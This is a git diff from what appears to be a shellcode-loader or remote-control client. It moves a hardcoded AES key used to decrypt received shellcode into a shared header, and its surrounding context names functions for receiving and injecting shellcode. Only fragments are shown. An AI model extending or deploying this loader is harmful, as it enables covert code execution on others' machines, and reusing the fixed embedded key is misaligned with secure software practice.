diff --git a/client/main.c b/client/main.c index 315a39e..f932c1f 100644 --- a/client/main.c +++ b/client/main.c @@ -10,6 +10,7 @@ #include #include "../common/hash.h" #include "../common/aes.h" +#include "../common/aes_key.h" #ifdef _DEBUG #define Mprintf printf @@ -382,10 +383,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) } unsigned char* ptr = buffer + sizeof(PkgHeader); struct AES_ctx ctx; // AES Decode - static const unsigned char aes_key[16] = { - 0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1 - }; - AES_init_ctx_iv(&ctx, aes_key, (BYTE*)command + 16); + AES_init_ctx_iv(&ctx, get_aes_key(), (BYTE*)command + 16); AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen); int size = 0; BYTE cmd = ptr[0], type = ptr[1]; diff --git a/client/test.cpp b/client/test.cpp index 68c0447..f7952a4 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -7,6 +7,7 @@ #include "common/dllRunner.h" #include #include +#include #include "auto_start.h" #include "Common.h" // A shell code loader connect to 127.0.0.1:6543. @@ -234,10 +235,7 @@ public: } char* ptr = buffer + sizeof(PkgHeader); struct AES_ctx ctx; // AES Decode - static const unsigned char aes_key[16] = { - 0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1 - }; - AES_init_ctx_iv(&ctx, aes_key, (BYTE*)command + 16); + AES_init_ctx_iv(&ctx, get_aes_key(), (BYTE*)command + 16); AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen); BYTE cmd = ptr[0], type = ptr[1]; size = 0; @@ -339,6 +337,7 @@ int InjectShellcode(BYTE* buf, int len) { if (status == 1) ExitProcess(0); } while (pid); + return -1; } // @brief 首先读取settings.ini配置文件,获取IP和端口. diff --git a/common/aes_key.h b/common/aes_key.h new file mode 100644 index 0000000..83cf32f --- /dev/null +++ b/common/aes_key.h @@ -0,0 +1,12 @@ +#pragma once + +#include + +// AES Key: DO NOT CHANGE IT. +inline const uint8_t* get_aes_key() { + static const uint8_t g_AES_key[16] = { + 0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, + 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1 + }; + return g_AES_key; +} diff --git a/common/encrypt.h b/common/encrypt.h index f101a87..ae24c94 100644 --- a/common/encrypt.h +++ b/common/encrypt.h @@ -4,6 +4,7 @@ extern "C" { #include "aes.h" } +#include "aes_key.h" #define ALIGN16(n) ( (( (n) + 15) / 16) * 16 ) @@ -121,10 +122,7 @@ public: if (param[6] == 0 && param[7] == 0) return; if (param[7] == 1) { #ifndef NO_AES - static const unsigned char aes_key[16] = { - 0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1 - }; - return aes_encrypt(data, len, aes_key, param + 8); + return aes_encrypt(data, len, get_aes_key(), param + 8); #endif } encrypt_internal(data, len, param[6], param[7]);